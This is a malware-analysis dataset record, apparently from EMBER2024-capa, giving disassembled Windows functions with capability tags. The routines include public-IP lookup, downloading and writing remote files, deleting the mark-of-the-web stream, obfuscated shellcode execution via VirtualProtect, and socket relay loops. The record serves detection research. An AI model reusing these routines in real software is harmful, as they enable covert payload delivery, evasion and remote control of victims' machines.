joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4017d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x404290
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40188a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40187e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40187e
push 0x40431c
lea edx, [ebp - 0x68]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x40186b
lea eax, [ebp - 0x68]
push eax
call fcn.00401400
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push 0x404320
push 0x4066f8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40187e
push 0x404328
push 0x4066f8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40189d
push str._0.0.0.0_
push 0x4066f8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x4066f8
mov esp, ebp
pop ebp
ret
Function at 0x4018d0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x400
push 0
push 0x4067c0
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4019c3
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4019b9
movzx edx, byte [ebp + 8]
cmp edx, 1
jne 0x4019a1
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40199f
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x4067c0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401995
cmp dword [ebp - 0x10], 0
je 0x401995
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x4067c0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401958
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4019b9
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x4067c0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x4067c0
mov esp, ebp
pop ebp
ret
Function at 0x402740
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.x777x7x
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x6b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40277e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x20c], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x6b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401760
movzx edx, al
test edx, edx
jne 0x4027eb
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4066bc
call section..text
add esp, 4
push eax
push 0x404e30
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
push 0x402450
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 1
test edx, edx
je 0x402846
push 0x6ddd00
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402830
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402afc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
mov eax, dword [0x451020]
xor eax, esp
mov dword [esp + 8], eax
push ebp
push esi
push edi
mov dword [esp + 0xc], edx
mov esi, ecx
push esi
push eax
add esp, 4
add esi, 0xa1d4
and esi, 0x1001d
sub esi, 0x14e96
pop esi
push esi
sub esi, 0x166a0
and esi, 0x135a7
and esi, 0xaf41
or esi, 0x67dc
pop esi
cmp byte [esi + 9], 0
je 0x402cbc
mov edi, dword [esi + 4]
sub edi, dword [esi]
push edx
push esi
add esp, 4
or edx, 0x430f
sub edx, 0x115b
jmp 0x402b6d
pop edx
push eax
push esi
add esp, 4
sub eax, 0x11724
and eax, 0xb4a9
add eax, 0x17223
pop eax
je 0x402cbc
and dword [esp + 0x10], 0
push ecx
or ecx, 0x181bb
jmp 0x402b9d
call 0x402ba9
add byte [esi], bh
inc edx
inc edx
push eax
xor eax, 0x5904c483
push ecx
add ecx, 0x10097
pop ecx
push eax
or eax, 0xcb6
or eax, 0x376f
pop eax
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x10]
push eax
push 0x40
push edi
push dword [esi]
call ebp
test eax, eax
je 0x402cbc
push ebx
mov ebx, dword [esi]
lea eax, [ebx + edi]
cmp ebx, eax
jae 0x402c41
mov ebp, dword [esp + 0x10]
push esi
push esi
add esp, 4
or esi, 0x540c
add esi, 0xdfdc
or esi, 0x1826c
pop esi
push ecx
push ecx
add esp, 4
jmp 0x402c10
or ecx, 0x2756
add ecx, 0x144f0
pop ecx
mov eax, dword [ebp]
mov ecx, ebp
mov edx, dword [eax]
mov al, byte [esi + 8]
mov byte [esp + 0x10], al
push dword [esp + 0x10]
push ebx
call edx
mov eax, dword [esi]
inc ebx
add eax, edi
cmp ebx, eax
jb 0x402beb
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edx
push edx
add esp, 4
sub edx, 0xadad
or edx, 0xcd4d
pop edx
push edi
jmp 0x402c5a
sub edi, 0xf376
pop edi
push ecx
push edi
add esp, 4
or ecx, 0x46a4
add ecx, 0xd295
pop ecx
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push edi
push dword [esi]
call ebp
pop ebx
test eax, eax
je 0x402cbc
push ebx
jmp 0x402c8e
call 0x402c9c
add byte [esi + 0x3c], al
aas
inc ebx
cmp al, 0x4a
dec esp
dec edx
add esp, 4
pop ebx
push ebx
push edx
add esp, 4
xor ebx, 0x16bc1
pop ebx
push edi
push edi
add esp, 4
or edi, 0xee45
pop edi
mov al, 1
jmp 0x402cbe
xor al, al
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0041656b
add esp, 0xc
ret
Function at 0x402ba9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
mov eax, dword [0x451020]
xor eax, esp
mov dword [esp + 8], eax
push ebp
push esi
push edi
mov dword [esp + 0xc], edx
mov esi, ecx
push esi
push eax
add esp, 4
add esi, 0xa1d4
and esi, 0x1001d
sub esi, 0x14e96
pop esi
push esi
sub esi, 0x166a0
and esi, 0x135a7
and esi, 0xaf41
or esi, 0x67dc
pop esi
cmp byte [esi + 9], 0
je 0x402cbc
mov edi, dword [esi + 4]
sub edi, dword [esi]
push edx
push esi
add esp, 4
or edx, 0x430f
sub edx, 0x115b
jmp 0x402b6d
pop edx
push eax
push esi
add esp, 4
sub eax, 0x11724
and eax, 0xb4a9
add eax, 0x17223
pop eax
je 0x402cbc
and dword [esp + 0x10], 0
push ecx
or ecx, 0x181bb
jmp 0x402b9d
call 0x402ba9
add byte [esi], bh
inc edx
inc edx
push eax
xor eax, 0x5904c483
push ecx
add ecx, 0x10097
pop ecx
push eax
or eax, 0xcb6
or eax, 0x376f
pop eax
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x10]
push eax
push 0x40
push edi
push dword [esi]
call ebp
test eax, eax
je 0x402cbc
push ebx
mov ebx, dword [esi]
lea eax, [ebx + edi]
cmp ebx, eax
jae 0x402c41
mov ebp, dword [esp + 0x10]
push esi
push esi
add esp, 4
or esi, 0x540c
add esi, 0xdfdc
or esi, 0x1826c
pop esi
push ecx
push ecx
add esp, 4
jmp 0x402c10
or ecx, 0x2756
add ecx, 0x144f0
pop ecx
mov eax, dword [ebp]
mov ecx, ebp
mov edx, dword [eax]
mov al, byte [esi + 8]
mov byte [esp + 0x10], al
push dword [esp + 0x10]
push ebx
call edx
mov eax, dword [esi]
inc ebx
add eax, edi
cmp ebx, eax
jb 0x402beb
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edx
push edx
add esp, 4
sub edx, 0xadad
or edx, 0xcd4d
pop edx
push edi
jmp 0x402c5a
sub edi, 0xf376
pop edi
push ecx
push edi
add esp, 4
or ecx, 0x46a4
add ecx, 0xd295
pop ecx
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push edi
push dword [esi]
call ebp
pop ebx
test eax, eax
je 0x402cbc
push ebx
jmp 0x402c8e
call 0x402c9c
add byte [esi + 0x3c], al
aas
inc ebx
cmp al, 0x4a
dec esp
dec edx
add esp, 4
pop ebx
push ebx
push edx
add esp, 4
xor ebx, 0x16bc1
pop ebx
push edi
push edi
add esp, 4
or edi, 0xee45
pop edi
mov al, 1
jmp 0x402cbe
xor al, al
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0041656b
add esp, 0xc
ret
Function at 0x40317e
Capabilities:
Create thread

Disassembly:
push 0x2c
mov eax, 0x43a83e
call fcn.00416e03
mov eax, dword [ebp + 8]
xor edi, edi
mov esi, dword [eax]
test esi, esi
je 0x403214
mov esi, dword [esi]
lea eax, [ecx + 4]
push eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
call fcn.00402e1f
mov dword [ebp - 0x20], esi
push 0x1c
mov dword [ebp - 4], edi
call fcn.00416579
mov esi, eax
lea eax, [ebp - 0x38]
pop ecx
push eax
mov ecx, esi
call fcn.00402d36
mov ecx, dword [ebp - 0x20]
mov dword [esi + 0x18], ecx
mov dword [ebp - 0x14], esi
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 1
push eax
push edi
push esi
push 0x403891
push edi
push edi
call fcn.0041b9cc
add esp, 0x18
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x40321c
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], edi
call fcn.00403877
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.00402d03
cmp dword [ebp - 0x18], edi
jne 0x403226
lea ecx, [ebp - 0x38]
call fcn.00402db4
call fcn.00416db2
ret 4
push 6
mov dword [ebp - 0x18], edi
call fcn.00413917
call fcn.0041ba5d
int3
Function at 0x403340
Capabilities:
Terminate process

Disassembly:
push 8
push 0x38
mov eax, 0x43a8f8
call fcn.0043985c
mov esi, ecx
mov dword [ebp - 0x40], esi
xor eax, eax
mov byte [ebp - 0x24], al
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x24]
push eax
call fcn.00402f93
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00402cd0
lea eax, [ebp - 0x38]
mov ecx, esi
push eax
call fcn.00403002
mov dword [ebp - 4], 1
cmp byte [ebp - 0x28], 0
je 0x40340b
movzx eax, byte [ebp - 0x38]
sub eax, 1
je 0x403404
sub eax, 3
je 0x40347e
sub eax, 1
je 0x4033f7
sub eax, 1
je 0x4033ea
sub eax, 1
je 0x4033da
sub eax, 1
je 0x4033c7
sub eax, 1
jne 0x40340b
lea eax, [ebp - 0x34]
push eax
call fcn.00412ffd
jmp 0x40340b
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x40340b
push dword [eax + 4]
push dword [eax]
call fcn.00412ac1
jmp 0x40340b
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x40340b
push dword [eax]
call fcn.00412c5b
jmp 0x40340b
lea eax, [ebp - 0x34]
mov ecx, esi
push eax
call fcn.0040322c
jmp 0x40340b
lea eax, [ebp - 0x34]
mov ecx, esi
push eax
call fcn.0040317e
jmp 0x40340b
mov ecx, esi
call fcn.004032ab
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x28], 0
je 0x40341d
lea ecx, [ebp - 0x34]
call fcn.00402cd0
xor eax, eax
mov byte [ebp - 0x39], 2
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x39]
push ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x38]
push eax
push ecx
lea ecx, [ebp - 0x20]
call fcn.00402872
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 4], 2
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
sub esi, edx
mov ecx, dword [ecx]
push ecx
push ecx
mov eax, esp
mov dword [eax], edx
mov dword [eax + 4], esi
call fcn.004095ad
or dword [ebp - 4], 0xffffffff
pop ecx
pop ecx
lea ecx, [ebp - 0x20]
test al, al
je 0x403486
call fcn.00402cd0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x40]
jmp 0x403379
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402cd0
mov eax, dword [0x453ac8]
call dword [eax + 0x70]
mov ecx, dword [ebp - 0x14]
call fcn.0043983a
ret

Function at 0x4037da
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x43a92c
call fcn.00416e03
mov edi, ecx
mov esi, dword [ebp + 8]
xor ebx, ebx
push 0x14
call fcn.00416579
mov ecx, dword [esi]
mov edx, eax
mov dword [ebp - 0x14], edx
mov dword [edx], ecx
mov ecx, dword [esi + 4]
mov dword [edx + 4], ecx
mov ecx, dword [esi + 8]
mov dword [edx + 0xc], ebx
mov dword [edx + 0x10], ebx
mov dword [edx + 8], ecx
mov eax, dword [esi + 0xc]
mov dword [edx + 0xc], eax
mov eax, dword [esi + 0x10]
mov dword [edx + 0x10], eax
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
lea esi, [edi + 4]
mov dword [ebp - 4], ebx
push esi
push ebx
push edx
push 0x40393f
push ebx
push ebx
call fcn.0041b9cc
add esp, 0x1c
mov dword [edi], eax
test eax, eax
je 0x403852
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
call fcn.0040385c
call fcn.00416db2
ret 4
push 6
mov dword [esi], ebx
call fcn.00413917
int3
Function at 0x407094
Capabilities:
Encode data using xor

Disassembly:
push 0x1dc
mov eax, 0x43afaa
call fcn.00416e03
mov esi, ecx
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x48], esi
and dword [ebp - 0x40], 0
mov eax, dword fs:[0x2c]
push 0x32
pop edi
push 2
mov ecx, dword [eax]
mov eax, dword [0x453b5c]
mov dword [ebp - 0x48], esi
pop ebx
cmp eax, dword [ecx + 4]
jle 0x407135
push 0x453b5c
call fcn.00416712
cmp dword [0x453b5c], 0xffffffff
pop ecx
jne 0x407135
and dword [ebp - 4], 0
cmp word [str.:juhj], 0
mov eax, dword [0x449b44]
mov dword [ebp - 0x3c], eax
je 0x40710c
xor ecx, ecx
xor edx, edx
mov eax, ecx
div edi
add edx, 0x39
xor word [ebp + ecx*2 - 0x3c], dx
inc ecx
cmp ecx, ebx
jl 0x4070f9
lea eax, [ebp - 0x3c]
mov ecx, 0x453b64
push eax
call fcn.00401baa
push 0x43c909
call fcn.00416a24
or dword [ebp - 4], 0xffffffff
mov dword [esp], 0x453b5c
call fcn.004166c8
pop ecx
lea ecx, [ebp - 0x20]
call fcn.004028e0
cmp byte [ebp - 0x17], 0
jne 0x407154
push 0x4493dc
mov ecx, esi
call fcn.00401baa
jmp 0x4074cd
lea eax, [ebp - 0x20]
mov dword [ebp - 0x44], eax
mov dword [ebp - 4], 1
push ecx
mov ecx, 0x10101010
pop ecx
push ecx
mov ecx, 0xffff07ff
pop ecx
xchg esp, eax
xchg esp, eax
pop ds
add eax, 0xbcef0606
add al, 6
push es
nop
dec esp
mov edi, 0x5379494
push es
push es
invalid
mov eax, esi
call fcn.00416db2
ret

Function at 0x407a29
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x407a71
lea edx, [esi + 8]
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x407a39
jmp 0x407a7e
cmp dword [esi], 0x4e0
jb 0x407a7e
call fcn.00407ab8
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret
Function at 0x407ab8
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
mov ebp, closesocket
lea edi, [esi + 0x9c4]
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, ebp
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x407ad0
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, ebp
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd4c]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x407b11
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, ebp
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
and dword [esi], 0
and eax, 0x9908b0df
shr ecx, 1
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
pop esi
pop ebp
pop ebx
ret

Function at 0x4095c8
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push 0x1c
mov eax, 0x43b556
call fcn.00416e03
mov dword [ebp - 0x28], edx
mov eax, ecx
mov dword [ebp - 0x24], eax
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x14]
push ecx
push 0x4004667f
xor ebx, ebx
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x4095fd
xor al, al
jmp 0x409671
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x14], 0
je 0x409656
push dword [ebp - 0x14]
lea ecx, [ebp - 0x20]
call fcn.00407752
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
push ebx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x409667
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
push ebx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x409667
mov bl, 1
jmp 0x409667
dec dword [esi]
mov esi, dword [esi]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
setne bl
lea ecx, [ebp - 0x20]
call fcn.00402cd0
mov al, bl
call fcn.00416db2
ret
Function at 0x4097d3
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x1c
mov eax, dword [0x451020]
xor eax, esp
mov dword [esp + 0x18], eax
push edi
xor eax, eax
lea edi, [esp + 0x10]
stosd dword es:[edi], eax
xor ecx, ecx
mov byte [esp + 4], cl
mov dword [esp + 6], ecx
mov word [esp + 0xa], cx
lea ecx, [esp + 4]
stosd dword es:[edi], eax
push ecx
stosd dword es:[edi], eax
mov al, byte [esp + 0x2c]
mov byte [esp + 9], al
lea eax, [esp + 0x10]
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.00402872
mov eax, dword [esp + 0x14]
sub eax, dword [esp + 0x10]
push 0
push eax
push dword [esp + 0x18]
push dword [esp + 0x30]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
lea ecx, [esp + 0x10]
setg byte [esp + 0xf]
call fcn.00402cd0
mov ecx, dword [esp + 0x1c]
mov al, byte [esp + 0xf]
pop edi
xor ecx, esp
call fcn.0041656b
add esp, 0x1c
ret 8

Function at 0x4098e9
Capabilities:
Resolve dns

Disassembly:
push 0x40
mov eax, 0x43b5d1
call fcn.00416e03
mov esi, dword [ebp + 8]
xor edx, edx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x30], ebx
mov dword [esi], edx
mov dword [esi + 0x10], edx
mov dword [esi + 0x14], 0xf
mov byte [esi], dl
mov dword [ebp - 4], edx
lea ecx, [ebx + 8]
mov dword [ebp - 0x2c], 1
mov edi, edx
add ebx, 0x108
jmp 0x409932
cmp byte [ecx], 0
je 0x409938
inc edi
inc ecx
cmp ecx, ebx
jne 0x40992b
jmp 0x40993a
mov edx, edi
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x28]
add eax, 9
add eax, edx
push eax
call fcn.00406535
mov dword [ebp - 4], 2
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40998e
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x4c]
call fcn.00406535
push eax
mov ecx, esi
call fcn.00409758
lea ecx, [ebp - 0x4c]
call fcn.00402db4
lea ecx, [ebp - 0x28]
call fcn.00402db4
mov eax, esi
call fcn.00416db2
ret 8
Function at 0x4099a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push 0x17c
mov eax, 0x43b62b
call fcn.00416e03
mov eax, ecx
mov dword [ebp - 0x180], eax
lea edx, [eax + 0x18]
xor ebx, ebx
call fcn.00409677
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp esi, 0xffffffff
je 0x409b7f
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x184], eax
mov edi, 0x108
mov dword [ebp - 4], ebx
push edi
lea eax, [ebp - 0x178]
push ebx
push eax
call fcn.004186f0
add esp, 0xc
lea eax, [ebp - 0x178]
push ebx
push edi
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
jle 0x409b7a
mov ecx, dword [ebp - 0x174]
lea edi, [ebp - 0x38]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, ecx
shr eax, 0x18
push eax
mov eax, ecx
shr eax, 0x10
movzx eax, al
push eax
mov eax, ecx
shr eax, 8
movzx eax, al
push eax
movzx eax, cl
push eax
lea eax, [ebp - 0x38]
push 0x449d90
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], bl
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x28]
call fcn.00406535
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 3
push eax
call fcn.00409855
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
mov bl, al
call fcn.00402db4
test bl, bl
je 0x409abf
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.004098e9
lea ecx, [ebp - 0x58]
cmp ecx, eax
je 0x409ab5
mov byte [ebp - 0x17c], 0
push dword [ebp - 0x17c]
push eax
call fcn.0040977a
lea ecx, [ebp - 0x28]
call fcn.00402db4
jmp 0x409acb
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x58]
call fcn.004065a6
push dword [ebp - 0x176]
call dword [sym.imp.WS2_32.dll_ntohs]
movzx edx, ax
lea ecx, [ebp - 0x13]
call fcn.00402f2b
push ecx
lea ecx, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.00402f4f
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x58]
call fcn.00409677
mov dword [ebp - 0x40], eax
cmp eax, 0xffffffff
je 0x409b6a
lea eax, [ebp - 0x40]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x180]
mov byte [ebp - 4], 5
movzx eax, byte [eax + 0x31]
push eax
push dword [ebp - 0x3c]
call fcn.004097d3
test al, al
je 0x409b65
mov dword [ebp - 0x17c], 0xbb8
jmp 0x409b4e
mov edx, dword [ebp - 0x3c]
lea eax, [ebp - 0x17c]
mov ecx, dword [ebp - 0x40]
push eax
call fcn.004095c8
pop ecx
test al, al
je 0x409b65
mov edx, dword [ebp - 0x40]
lea eax, [ebp - 0x17c]
mov ecx, dword [ebp - 0x3c]
push eax
call fcn.004095c8
pop ecx
test al, al
jne 0x409b37
push dword [ebp - 0x40]
call esi
lea ecx, [ebp - 0x70]
call fcn.00402db4
lea ecx, [ebp - 0x58]
call fcn.00402db4
push dword [ebp - 0x3c]
call esi
call fcn.00416db2
ret
Function at 0x412341
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x451020]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
mov esi, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
test eax, eax
je 0x4123bd
movd xmm0, dword [ebp - 0x14]
cvtdq2pd xmm0, xmm0
comisd xmm0, xmmword [0x44a7b8]
jb 0x4123a6
push 3
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 0x10]
push 1
push 0
push 0
add eax, 0xffffec78
push eax
push 0xffffec78
push 1
push esi
call dword [sym.imp.USER32.dll_SetWindowPos]
push ecx
push esi
call fcn.004123cb
test al, al
je 0x4123bd
mov eax, dword [0x453ac4]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0041656b
leave
ret